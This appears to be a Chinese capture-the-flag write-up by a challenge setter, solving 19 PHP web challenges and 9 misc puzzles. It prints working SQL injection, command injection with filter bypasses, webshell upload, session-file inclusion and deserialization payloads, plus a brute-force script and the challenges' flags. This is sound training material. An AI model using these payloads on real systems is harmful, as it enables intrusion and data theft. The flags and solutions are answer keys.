学长闲的没事干 给学弟出题 顺便给外校人员也做做 就诞生了本次的融贯杯

然后我被拉过来出题 出了19道web和9道misc 写下我的解题思路

整体难度不是很大 题目质量还可以,有些题目是搬运或者稍加修改。



WEB>

1.代码的秘密


题目如下:


打开源码发现一段js代码

在本地运行js代码 获得flag


2.本地访问


题目如下:


题目提示说要本地访问 因此想到用X-Forwarded-For构造ip


尝试访问后发现源代码:


第一层绕过后 要求我们用User-Agent伪造admin



访问后绕过判断


这里要我们使用post传入参数password 当password为admin123时即可拿到flag


访问得到flag:


3.密码爆破


题目如下:


结合题目提示要求我们爆破密码 并且密码为5位数字

这里可以用python写脚本 或者用 burpsuite 进行爆破 用burpsuite更快一点

python脚本如下:


import requests

def getpasswd():
   ls = []
   for i in range(10000,100000):
      ls.append(i)
   return ls

def flag():
   url = "http://47.96.153.252:28003/"
   for i in getpasswd():
      data = {'password':i}
      http=requests.post(url,data=data)
      if "密码错误" in http.text:
         print('[-]%s pass'%i)
         pass
      else:
         print('[+]%s'%i)
         break

flag()

burpsuite需抓包 然后进行Intruder爆破 


得到密码32767 解得即可。

4.运维失误


题目如下:


进入题目发现无权访问 结合简介提示找网站备份文件 可以判断www.zip www.tar.gz  robots.txt 等等。

输入www.zip发现备份文件


得到源码文件

index.php:


这里要我们传入username和password参数 然后账号密码是不知道的 要经过md5验证才能拿到flag

再看74037e0c.php


得到账号密码 传入username和password即可拿到flag


5.时间穿梭


题目如下:


点击题目超链接 却被重定向到另一个页面


猜测题目用了header重定向 这里用burpstuie拦截

开启拦截 点击超链接


发送到repeater

得到flag


6.狡猾的前端


题目如下:


提示我们flag就在源码里 尝试用f12查看






几乎能查看源码的键都被js过滤了 这里可以用postman查看


这里非预期解是可以通过多次按f12或者其他键 可以卡出源代码


7.Ez_Bypass


题目如下:


先看源代码:


提示我们传两个参数 func 和 cmd


传入得到源码

代码审计一番过后 大致了解了题目使用call_user_func函数 从用户传入的函数和参数进行执行


这里第一层是绕过过滤函数


第二层是过滤flag关键词


绕过过后即可执行命令


这里有hint 先看hint

传入/?func=&cmd=&hint


提示先用scandir找flag  然后用system一把梭

因为使用print_r所以结果会以数组返回 导致我们可以用scandir看任意路径文件

传入/?func=scandir&cmd=/


找到flag

然后用system执行命令。

这里因为flag被过滤了 结合题目简介提示,我们可以用linux的特性绕过。


linux下可以定义一个变量为一个字符串 然后引用这个变量

因此我们可以定义多个变量 然后拼接绕过flag过滤

传入/?func=system&cmd=a='fl';b='aggggHere';cat /$a$b


8.nizhuansiwei


题目如下:


题目主要是两层绕过 


首先file_get_contents读取到的文件内容要为welcome to the wzzctf一般来说是不可能的

结合题目提示 用data://绕过


这里是要用data://伪协议构造文件内容

data://text/plain;base64,xxxx

先将内容进行base64


传入/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgd3p6Y3Rm


即可绕过第一层

然后需要我们传入一个反序列化后的password的值 要为hacker 即可得到flag

现在本地测试



输入password=s:6:”hacker”; 即可


9.某职专后台系统


题目如下:


一个登录平台 结合题目提示存在高危漏洞 猜测是SQL注入漏洞

先用万能密码试试


直接进入了 但是没有flag 此题为回显型SQL 因此尝试爆数据库 爆表 拿flag


三个字段

爆数据库:
1' union select 1,database(),3 #


爆表:
1’ union select 1,table_name,3 from information_schema.tables where table_schema=database()#


得到表flag

然后再查字段名

爆字段:
1' union select 1,column_name,3 from information_schema.columns where table_schema=database() and table_name='flag'#


字段名也是flag 最后直接查询就可以了

payload:
1' union select 1,flag,3 from website.flag #


10.你传你马呢


题目如下:


文件上传题目

随便上传个php文件


报错,这里error_log记录的是文件的MIME值 猜测题目是检测文件MIME值 而图片的MIME是白名单

所以先上传个图片 然后再把文件内容和后缀改为php即可。

先写个马


把后缀改为jpg

先用burpsuite开启拦截 然后上传图片。


后缀改为php上传


访问木马蚁剑连接 或者直接传参都可以


11.Baby_Ping


题目如下:


一个ping功能的平台 要想到使用ping的时候肯定是在靶机中运行 然后我们可以用;隔开执行多个命令

先试试1.1.1.1;ls


成功执行 直接看根目录下的flag


12.Baby_MD5


题目如下:


先输入?game开始

得到源码:


题目注释也提示的很明显了 需要绕过三层 分别为数组绕过 0e绕过 原值绕过

第一层:


需要我们传入两个值val1和val2两个值不同 但是它们的md5值要相同

这里考察的点就是用数组绕过,php中因为数组的值不能被md5处理,则返回NULL,导致相等。

本地测试如下:



可以看到两个值为空值 php中空值相等 且两值相等 所以绕过。

/?game&val1[]=1&val2[]=2


第二层:


这里也是要我们传两个不同的值 且MD5值相同 不同的是这里传入的值必须为string类型 不能为数组


这里考察的是0e绕过 原理是两个值的md5开头为0e php中0e开头的字符串在参与比较时 会被当做科学计数法 结果转换为0 因此绕过

一些绕过值:

QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675

传入任意两个即可。

/?game&val1[]=1&val2[]=2&val3=QNKCDZO&val4=240610708


第三层:


这里要我们传入的值等于其md5的值 是原值绕过

记录一个值:

0e215962017 的 MD5 值也是由 0e 开头,在 PHP 弱类型比较中相等

所以post传入即可拿到flag


13.套娃


题目如下:


先看源代码


substr_count() 函数计算子串在字符串中出现的次数

$_SERVER['QUERY_STRING']

例如:

http://localhost/aaa/index.php?p=222&q=333

结果:

$_SERVER['QUERY_STRING'] = “p=222&q=333”;

因此想要绕过我们传入的参数得没有_下划线  但是我们传参又必须要有w_z_z_c

下划线的绕过我们可以用 . 或者 空格 来代替这个符号

后面的绕过正则只需要用%0a截断即可

payload:/?w z z c=23333%0A


/?w.z.z.c=23333%0A绕过


14.异或的马


题目如下:


这是通过异或写的一段木马 只要看懂代码就可以执行了。

可以直接用php执行。或者用python写 这里php方便一点



可以看到木马大致为assert($_GET['H@ck'])

连接方式为get

密码为H@ck 

payload:/?H@ck=system(%27cat%20/flag%27)


15.字符?正则?


题目如下:


这里我们传入的id只要符合正则匹配就可以拿到flag

这个正则有点复杂 慢慢分析:

“/key.*key.{4,7}key:/./(.*key)[a-z][[:punct:]]/i”

/ /是定界符;

key,直接使用,id=key

.是元字符,表示除了换行符的任意一个字符,就取a好了,id=keya

*是量词,表示前一个元字符a的数量0个或多个,即{0,}。取零个,id=key

key,直接使用,id=keykey

.取a,id=keykeya

{4,7}是量词,表示前一个元字符a的数量为4到7,取4个,id=keykeyaaaa

key,直接用,id=keykeyaaaakey

:也直接用,id=keykeyaaaakey:

/即/,\防止转义,id=keykeyaaaakey:/

.取a,id=keykeyaaaakey:/a

/即/,id=keykeyaaaakey:/a/

(.*key)是一个分组,.取a,星号取零个,key直接用,id=keykeyaaaakey:/a/key

[a-z]任取一个a-z的小写字母,取a,id=keykeyaaaakey:/a/keya

[[:punct:]]表示任取一个标点符号,取:,id=keykeyaaaakey:/a/keya

i为模式修饰符,表示不区分大小写

所以得到payload为:

?id=keykeyaaaakey:/a/keya:


16.Easy_Ping


题目如下:


先让我们传入参数ip


又是ping题 尝试用;来执行命令


成功执行,尝试cat /flag


发现空格被过滤 可以用$IFS$9绕过空格


flag被过滤

尝试先看源码。


得到源码:


这里把空格 一些特殊符号 bash 和flag过滤了

这里利用linux变量特性绕过


这里没绕过正则匹配 如果先写fl 再写ag 还是和正则匹配上的 

把fl 和 ag 反一下就可以了 

payload:/?ip=1.1.1.1;a=ag;b=fl;cat$IFS$9$b$a.php


17.闪电五连鞭


题目如下:



第一个判断:

当没有用GET方法传入flag时,会显示Click here的链接。

点击链接会用GET方法传入一串字符串$exam,后面是当前时间的一串sha1哈希值。


第二个判断:

这里要传入的flag值为例子exam的长度

先点超链接看例子


用python看下长度:


长度为49

我们可以用垃圾字符填充flag值 如[代码];1*n;这种方式

第三个判断:

过滤了一堆字符`’”‘.‘\‘(‘)‘[‘]‘_’flag’echo’print’require’include’die’exit


第四个判断:

判断传入flag的值等于flag值的哈希值,正确就输出flag。用的是严格的三个等号的比较,flag都不知道,哈希值更不可能知道(===强相等,类型和值都要相等),

但存在eval($_GET['flag'])可以任意代码执行


尝试绕过过滤:

echo被过滤了,用php短标签进行输出;

flag被过滤了,用先赋其他值,再修改的方法绕过

当php开启短标签后,
能正常解析类似于这样形式的php文件: phpinfo() ?>
并且可以使用<?=$a?>的形式输出

为了使payload长度与$exam长度相等,在代码间加入无意义的语句。

构造payload:/?flag=$a=blag;$a{0}=f;111111111111111111111;?>


18.PHPGame


题目如下:


先看源码:


先传参 然后开始。

题目源码如下:


<html>
<!--if($_REQUEST['mode']!="begin"){
    die("Welcome PHP Games!");
}-->
</html>
<?php
error_reporting(0);
include 'fl4g.php';

if($_REQUEST['mode']!="begin"){
    die("PHP Games!");
}else{
    show_source(__FILE__);
    class last_task{
        var $left;
        var $middle;
        var $right;
    }
    $a=$_GET['a'];
    $b=$_GET['b'];
    if($a==$b){
        die("wrong way");
    }else{
        if(md5($a)!==md5($b)){
            die("need a little magic");
        }else{
            if($_POST['token']){
                $token = unserialize($_POST['token']);
                if($token['user']=="user"&&$token['pass']=="pass"){
                        $flag=$_POST['flag'];
                        if($flag){
                            $flag = unserialize(urldecode($flag));
                            $flag->middle = $fl4g;
                            if($flag->middle===$flag->left&&$flag->middle===$flag->right){
                                echo "this is your flag ".$flag->middle;
                            }else{
                                die("one more step");
                            }
                        }else{
                            die("don't give up");
                        }
                }else{
                    die("Not a valid token");
                }
            }else{
                die("give me the token");
            }
        }
    }
}
?> wrong way

1、MD5弱比较绕过


这里是要传入的变量a和变量b一样 并且md5值不能一样。

这里考察的点就是用数组绕过,php中因为数组的值不能被md5处理,则返回NULL,导致相等。

本地测试如下:



因此第一层用/?mode=begin&a[]=1&b[]=2 绕过

2、数组反序列化


这里要传一个数组,还得是反序列化,在本地构造一个就可以了。



a:2:{s:4:”user”;s:4:”user”;s:4:”pass”;s:4:”pass”;}

成功绕过。


3.PHP反序列化浅拷贝

重点来了,,这里是最难的部分。



这里的意思是传一个反序列化后的值。然后要使last_task类中的left和right一定要等于$middle的值(这里middle的值是fl4g.php中的$fl4g变量) 也就是说能绕过就可以得到flag了。

因为绕过if判断后输出的值也是middle的值,而middle的值就是flag,所以我们不能改变middle的值。但是又得让left和right的值为middle的值,显然我们不知道flag是做不到的,因此这里考察的一个知识点就是PHP浅拷贝。

参考文章https://blog.csdn.net/crisprx/article/details/104457047 师傅讲的很细,这里概述一下。

先说一下深拷贝和浅拷贝通俗理解

深拷贝:赋值时值完全复制,完全的copy,对其中一个作出改变,不会影响另一个

浅拷贝:赋值时,引用赋值,相当于取了一个别名。对其中一个修改,会影响另一个

举个例子:(这里只做浅拷贝的例子)


(网站回显)


而这道题要用到&apos;&&apos; 来浅拷贝

再来个李子:



这里的知识点是引用传递。在这个例子中,将$a为crispr copy,$a前添加& 而$b又等于$a,然后又改变了$b的值,导致$a的值改变了。

参考:https://www.php.net/manual/zh/language.references.pass.php

所以我们的payload为:


或者:


这里将left和right的值取&$middle的值 然后再将值序列化传入即可。


O:9:”last_task”:3:{s:4:”left”;N;s:6:”middle”;R:2;s:5:”right”;R:2;}

传入flag post值 得到flag


19.应可鲁德


题目如下:


先是一个登陆页面,然后随便输入个id进去。如下:


点击超链接,发现url明显的是文件包含。


尝试读取默认文件 /etc/passwd


成功读取到了。说明这是一个通过get传参的include函数。

尝试读取flag一把梭。


无果

先慢慢来,看源码先。

这里用php://filter伪协议读取文件

构造payload:php://filter/read=convert.base64-encode/resource=index.php

index源码如下:

<!DOCTYPE html>
<html>
<head>
</head>
<body>
    <form action="action.php" method="POST">
    please input your name:

    <input type="text" name="name" >

    <input type="submit" value="Submit">
</form>
</body>
</html>

再看下action.php的文件内容


action源码如下:

<?php
session_start();
error_reporting(0);
$name = $_POST['name'];
if($name){
    $_SESSION["username"] = $name;
}
include($_GET['file']);
?>
<!DOCTYPE html>
<html>
<div>
    <a href="action.php?file=1.txt">ctf推荐书籍</a>
    <a href="action.php?file=2.txt">ctf刷题平台</a>
</div>
</html>

这里很明显就是session包含。

在action.php中代码的这一块:

$name = $_POST['name'];
if($name){
    $_SESSION["username"] = $name;
}

其原理是:


在我们在首页(index.php)通过post传参传入了id后会发送到action.php 在action.php中会把用户名保存为传入的post值

而这个post值是可控的。因此我们只要传入 一句话进去,再通过session

会创造一个临时文件,我们访问临时文件就可以实现任意代码执行了。接下来就懂得都懂。

php的 session文件的默认存放位置大致如下

/var/lib/php/sess_PHPSESSID
/var/lib/php5/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

先id传个


访问:/action.php?file=php://filter/read=convert.base64-encode/resource=/tmp/sess_1c87b143947ceb5dac0b2adf082d0aab



然后我们直接访问&nbsp;/action.php?file=/tmp/sess_1c87b143947ceb5dac0b2adf082d0aab


到这里就简单了,然后我们再写个一句话木马进去


传入?file=/tmp/sess_c2ae0bc438de4b10b87b791a7514a375&c=system(&apos;ls /&apos;);

(注意这里多个传参要用&拼接)


最后cat /fl444444444g就可以了


MISC>

1.无法达到的深度


题目附件:


结合题目和简介 (深度) 猜测通过改图片高度来拿flag

图片属性:


winhex打开图片分析


高度628的hex值为0274 通过winhex搜索




这里左边的是高度 右边的是宽度

把0274改高 比如改为0500 保存:


图片有文字提示 再改高点 直接改为 2F00(约10000)


得到flag

2.五步飞扬


题目附件:


第一步:

ASCII:

102 108 97 103 123

用python解


解得 flag{

第二步:

URL:

%5Cu0063%5Cu0034%5Cu0038%5Cu0032%5Cu0035%5Cu0031%5Cu0035%5Cu0030


url解码得到&nbsp;c4825150


得到c4825150

第三步:

摩斯电码

-….- . —-. ..-. —-. —– —– -.-. —–

在线网站解一下即可。


得到-e9f900c0

第四步:

BrainFuck解码

+++++ +[->+ +++++ <]>++ +++++ ++.<+ +++++ +[->+ +++++ +<]>+ +++++ .–.+

+..<+ +++++ [->– —-< ]>— —– .—- —-. <++++ +++[- >++++ +++<]

>++++ +.<++ +++++ [->– —– <]>– –.++ .<



得到-dbdd80f13

第五步:

base系列(base64->base32->base16)

R1UyRE1PQldIRTNUR01SUUdZNFRPTVpTR0EzVFNOU0dHNDJUT01SU0dBM0RNTlNER1lZVE1OWlRJRVpFSU5SV0dZMkRHTUJUR0VaVE9NWlRHWVpET1JBPQ==

直接用ciphey一把梭:


得到:-fd0173b}

组合flag 得到flag{c4825150-e9f900c0-dbdd80f13-fd0173b}

3.爆破鬼才


题目附件:


题目说是密码爆破 且为四位数字 用ARCHPR爆破



将压缩包拖入即可。


得到密码为8964 用密码打开文本即可得到flag

flag{657ef479be76fe227ce09f9dd22c2cd8}


4.九层妖塔


(此题搬运自DASCTF魔法世界 《闯入魔塔的魔法少女》)

题目附件:


预期解是用swf逆向即可 当然玩五十层魔塔也可以。。

用Flash Decomplier反编译工具打开


使用文件查找功能


直接搜索flag


在DoAction找到flag字段&nbsp;


转到DoAction 然后用ctrl+f快速查找 搜索flag


得到flag&nbsp;

DASCTF{23dvkjzr3juboiavztbncaxftfpyq5gz}

5.艾克赛斯


题目附件:


先看encode.py


这里先将flag的文本的每一个字符读取 将每一位ascii码进行-1操作

然后再把拼接起来的新的字符串作为十进制写到密文中。

密文如下:


8785377975578074175091449592699820502541930703609541378188644326830861555987356326396428107299197220

对应写解密脚本即可。


先将密文转为十六进制


这里再将ascii码分隔一下 然后再一一转为字符串即可

最终脚本如下:


def decode():
    ciphey_text=8785377975578074175091449592699820502541930703609541378188644326830861555987356326396428107299197220
    print(hex(ciphey_text))
    #0x101107961021225548535199100999751545549984947505696495149549899475448501011015649124
    list=[101,107,96,102,122,55,48,53,51,99,100,99,97,51,54,55,49,98,49,47,50,56,96,49,51,49,54,98,99,47,54,48,50,101,101,56,49,124] ###分离ascii码
    flag=""
    for i in list:
        flag += chr(i+1)
    print(flag)

decode()

运行得到flag


flag{8164dedb4782c2039a2427cd0713ff92}

6.lsp隐写


题目附件:


一张图片 不难想到此题为lsb隐写 标题也提示了 将图片拖入stegsolve中

进行通道分析:



将红绿蓝三个通道选为最低位 然后bit order选为lsb


在文件头部发现504B 这是压缩包的文件头


选择Save Bin到文本中



得到十六进制数值 然后将这段数据通过winhex写到压缩包中

504B030414000000080053A58353AADB061F360000003400000008000000666C61672E7478744B36CE294DF128A9F0ADF2AA4A7649A9F20D09ABF0AB8A344DAA8A3448CACAAE4ACE0AAAF40B4937F6CD7235F00BC936F2CD33B00500504B0102140014000900080053A58353AADB061F3600000034000000080024000000000000002000000000000000666C61672E7478740A0020000000000001001800DAEE244043E8D7011871A34643E8D701FCD9203D43E8D701504B050600000000010001005A0000005C0000000000

&nbsp; &nbsp; &nbsp;


保存后 发现是文件加密 这里是伪加密


将0900改为0000即可。



打开文本 发现一段base64数据


在线解密一下


发现又是rot13 再解一下


得到flag

flag{d32fc7f15d769b64a93e4e5872145962}

7.异或与非


题目附件:


加密脚本如下:


[+]Your Ciphertext: ['f', '

‘, ‘
‘, ‘’, ‘’, ‘’, ‘S’, ‘’, ‘’, ‘P’, ‘V’, ‘’, ‘’, ‘ ‘, ‘
‘, ‘’, ‘’, ‘T’, ‘', ‘
‘, ‘’, ‘’, ‘’, ‘’, ‘V’, ‘V’, ‘Q’, ‘S’, ‘’, ‘P’, ‘S’, ‘’, ‘’, ‘’, ‘ ‘, ‘ ‘, ‘’, ‘I’]

审计代码:

首先将flag文本内容读出 然后创建了列表encode_flag 并添加flag的第一个字符&nbsp;

然后遍历flag字符串 将每一位字符与上一位字符的ascii码进行异或 转成字符

最后将结果打印出来

大致读懂代码后 根据print出来的东西写解密脚本

脚本如下:


def decode():
    str=['f', '', '', '', '', '', 'S', '', '', 'P', 'V', '', '', '', '', '', '', 'T', '\', '', '', '', '', '', 'V', 'V', 'Q', 'S', '', 'P', 'S', '', '', '', '    ', '', '', 'I']
    flag="f"
    for i in range(1,len(str)):
        flag += chr(ord(str[i]) ^ ord(flag[i-1]))
    print(flag)
decode()

根据加密脚本同样操作 将第一位与上一位进行异或 最后把结果加到一个字符串上打印

运行脚本得到flag


flag{e674d2738261e942337a7f52b1501844}

8.国王的新字符


题目附件:


文本信息如下:


根据文本提示 让我们用kali的vim打开这段文本


打开后发现了一堆隐藏的信息 结合题目和简介提示 显然是零宽字符

用在线网站解


得到flag

flag{ZeroNumber}

9.看不见的水印


题目附件:


先把图片解压下来


两张同样的图片 结合题目标题看不见的水印 显然这是盲水印隐写

使用github上相应的脚本即可。

https://github.com/chishaxie/BlindWaterMark

python bwmforpy3.py decode file.jpg file0.jpg flag.jpg

得到盲水印图:


显然是密码 进行解密即可。


flag{a5bee5c2a562c3c7a721d16f7147b309}

End